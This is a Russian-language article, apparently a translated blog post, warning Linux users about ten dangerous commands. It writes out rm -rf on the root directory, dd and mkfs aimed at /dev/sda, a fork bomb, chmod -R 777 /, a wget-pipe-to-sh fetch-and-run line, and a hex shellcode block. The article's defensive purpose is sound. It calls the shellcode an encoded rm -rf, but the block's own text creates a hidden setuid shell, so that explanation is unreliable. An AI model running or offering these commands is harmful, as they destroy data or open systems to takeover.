Какие команды Linux наиболее опасны?
Мне задавали этот вопрос много раз, и я избегал отвечать на него, потому что не существует определенного списка опасных команд Linux.
У вас есть инструменты, которые позволяют вам контролировать и изменять каждый аспект вашей операционной системы. Я не пытаюсь вас напугать, но если вы не знакомы с командами и инструментами, вы можете довольно легко испортить свою систему.
Представьте себе сценарий жизни маленького ребенка в семье. Существует множество способов, которыми ребенок может навредить себе. Но означает ли это, что ребенка нельзя выпускать за пределы кроватки?
Родители устанавливают границы и направляют ребенка. Не подходи к огню. Не засовывай пальцы в розетки. По мере того как ребенок растет и набирается опыта, он может включать плиту, и подключать кабели питания.
Точно так же, если вы знаете о нескольких известных рискованных командах, вы можете избежать попадания в ловушки троллей, пытающихся обманом заставить вас выполнить команды и испортить вашу систему.
По мере того, как вы приобретаете опыт и узнаете значение и способы использования команд и инструментов, будет меньше шансов разрушить вашу систему глупыми и сложными командами.
1. rm -rf /*
Это, вероятно, самая печально известная команда, циркулирующая во всех социальных сетях. Вы часто встретите троллей, комментирующих это в различных обсуждениях.
Команда rm используется для удаления файлов в / каталоге. Флаги -r и -f используются для обозначения рекурсивного удаления всех файлов внутри указанного каталога. Без прав суперпользователя, эта команда не причинит никакого вреда.
Выполнение команды sudo rm -rf / также не создаст никаких проблем, поскольку большинство дистрибутивов предоставляют отказоустойчивую опцию. Вам нужно указать –no-preserve-root, чтобы фактически запустить эту команду.
sudo rm -rf / --no-preserve-root
Однако более простой версией этого может быть:
sudo rm -rf /*
Она начнет рекурсивное удаление всех файлов в корневом каталоге, и в определенный момент ваша система зависнет с сообщением “Ошибка удаления файла”. После перезагрузки вы будете отправлены в приглашение grub-rescue.
2. Перезапишите свой раздел
Если вы знакомы с файловыми системами, вы, вероятно, знаете, что такое /dev/sda . Это (обычно) раздел вашего диска. > Оператор используется для записи выходных данных предыдущей команды в указанное местоположение.
Как только вы запустите любую команду и запишите ее в /dev/sda, скажем:
echo "Hello" > /dev/sda
Это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, на строку “Hello”.
3. Переместите все в пустоту
Внутри каждой системы Linux есть пустота. И эта пустота равна /dev/null .
Все, что вы добавляете в эту область, теряется навсегда. Кроме того, она сообщает об успешном процессе записи после удаления данных, что является основной причиной его деструктивности
mv /home/user/* /dev/null
Команда mv используется для перемещения или переименования файлов / каталогов. В приведенной выше команде вы перемещаете все файлы внутри домашнего каталога в пустоту. Пока корневая система не будет уничтожена, все ваши личные данные будут потеряны.
4. Отформатируйте жесткий диск
mkfs - это утилита командной строки, используемая для форматирования дисков и разделов. Это очень удобный инструмент для создания разделов для различных задач. Но та же команда может отформатировать и ваш диск. Форматирование вашего диска означает удаление всех файлов, необходимых для загрузки системы.
mkfs.ext3 /dev/sda
Команда выполняет свою работу, и в итоге вы получаете испорченную систему, не подлежащую восстановлению.
5. Fork бомба
Это симпатичная случайная комбинация специальных символов достаточна мощно, чтобы заморозить работающую систему, исчерпав системные ресурсы.
:(){:|:&};:
& – фоновый оператор оболочки. Он сообщает оболочке, чтобы поместить команду в фоновый режим. Здесь он определяет функцию с именем ‘:‘, которая вызывает себя дважды, один раз на переднем плане и один раз в фоновом режиме. Этот процесс продолжает выполняться снова и снова, пока система не зависнет.
Вы будете вынуждены перезагрузить систему, что не так плохо, по сравнению с другими командами в этом списке.
6. Перезаписать важные файлы конфигурации
Хотя это не команда сама по себе, это скорее мера предосторожности.
Как упоминалось выше, оператор “>” используется для записи в файл. Он просто отбрасывает все, что уже присутствует в файле, и записывает в него новые данные.
command > config_filename
Теперь, если вы используете какой-то важный файл конфигурации в качестве места для записи данных, он заменит содержимое, оставив сломанную систему.
7. Замените раздел мусорными данными
/dev/random - это одна из команд в Linux, которая может создавать мусорные данные. Объедините это с командой dd, и вы получите молот, который разнесет ваш раздел.
dd if=/dev/random of=/dev/sda
команда dd используется как низкоуровневый инструмент копирования. Здесь он берет случайные данные /dev/random и заменяет раздел /dev/sda мусором.
Аналогичный эффект получается с:
cat /dev/random > filename
Здесь берутся данные из /dev/random и заполняют файл. Если не завершить с помощью Ctrl + C, файл может занимать значительный объем пространства, что может иметь катастрофические последствия для системы.
8. Покажите свою систему всем
В Linux все является файлом, и у каждого файла есть определенные разрешения.
Вы можете просмотреть разрешения с помощью ls -l. Корневая файловая система недоступна другим пользователям без привилегий. Вы можете перевернуть эту систему с ног на голову одной командой.
chmod -R 777 /
Приведенная выше команда предоставляет доступ ко всем файлам в корневом разделе. Это означает, что все, кто использует систему, имеют права на чтение, запись и выполнение. Это плохо для вашей системы.
9. Загружайте и запускайте вредоносный контент
Как вы устанавливаете программное обеспечение в Linux? Вы используете официальный менеджер пакетов или готовые к использованию пакеты как Deb / RPM, Snap. Flatpak и т. Д.
Однако некоторые программы не упакованы, и их разработчики предоставляют сценарии оболочки для загрузки и запуска. Возьмем, к примеру, homebrew(Homebrew, также известный как Brew, - это менеджер пакетов командной строки, созданный в основном для macOS).
Вы загружаете файл оболочки и запускаете его от имени root для установки программного обеспечения в вашей системе. Вы видите проблему с этим?
Хотя он работает с официальным программным обеспечением, таким как Homebrew, вам следует дважды проверить содержимое загружаемого вами сценария оболочки, прежде чем запускать его напрямую, как это:
wget http://malicious_source -O- | sh
Такие команды будут загружать и запускать вредоносные скрипты в вашей системе, что может подорвать безопасность вашей системы.
10. Замаскированные команды
Есть много способов запускать команды в терминале Linux. Одним из таких способов являются команды с шестнадцатеричным кодом.
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Хотя это выглядит замысловато, это закодированная версия rm -rf. Что дает тот же эффект, что и выполнение предыдущей команды. Поэтому, копируя и вставляя такие причудливые команды из интернета, будьте осторожны.
Подведение итогов
Существует известный вычислительный термин PEBKAC; problem exists between keyboard and chair “проблема существует между клавиатурой и креслом”.
Потому что, в конце концов, пользователь (вы) должен убедиться, что не разрушает систему, слепо выполняя любую опасную команду.
Задача UNIX не в том, чтобы помешать вам выстрелить в ногу. Если вы решите это сделать, то задача UNIX - доставить мистера Пулю мистеру Футу самым эффективным способом, который он знает.
И это в равной степени относится к Linux. Вы получаете полный контроль над своей операционной системой. То, что вы решите делать, полностью зависит от вас.
Попытайтесь понять команды, которые вы собираетесь запустить.
Сохраняйте резервную копию своих системных настроек с помощью Timeshift
Создайте резервную копию личных данных (домашний каталог) с помощью DejaDup
Как я уже сказал, не существует фиксированного списка опасных команд Linux. К этому списку можно добавить еще много чего, и ему просто нет конца.
Я надеюсь, что эти несколько советов помогут вам оставаться в безопасности с Linux. Дайте мне знать, если у вас есть предложения в разделе комментариев.